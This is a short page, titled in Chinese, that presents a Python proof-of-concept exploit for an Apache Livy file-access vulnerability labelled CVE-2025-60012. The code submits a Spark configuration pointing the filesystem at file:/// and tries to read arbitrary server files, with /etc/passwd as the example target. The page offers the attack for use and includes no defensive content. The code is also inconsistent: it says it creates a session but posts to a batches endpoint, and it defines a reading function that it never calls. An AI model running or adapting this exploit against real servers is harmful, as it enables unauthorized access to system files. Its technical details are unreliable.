Apache Livy CVE-2025-60012 恶意配置导致未授权文件访问漏洞

import requests import json # CVE-2025-60012 PoC - Apache Livy Unauthorized File Access # Target: Apache Livy 0.7.0/0.8.0 with Spark 3.1+ def exploit_livy(target_url, file_path): """ Exploit malicious configuration leading to unauthorized file access """ # Malicious Spark configuration to access arbitrary files payload = { "file": "file:///" + file_path, "conf": { "spark.hadoop.fs.defaultFS": "file:///", "spark.master": "local[*]" } } try: # Create new session with malicious config response = requests.post( f"{target_url}/batches", json=payload, headers={"Content-Type": "application/json"}, timeout=30 ) if response.status_code == 200: result = response.json() print(f"[+] Batch created: {result.get('id')}") return result else: print(f"[-] Failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def read_file_via_livy(target_url, batch_id, file_path): """ Attempt to read file content through Livy session """ code = f"sc.textFile('{file_path}').collect()" response = requests.post( f"{target_url}/batches/{batch_id}/statements", json={"code": code}, headers={"Content-Type": "application/json"} ) return response.json() # Example usage if __name__ == "__main__": target = "http://target-server:8998" target_file = "/etc/passwd" print(f"[*] Targeting: {target}") print(f"[*] Attempting to access: {target_file}") batch = exploit_livy(target, target_file)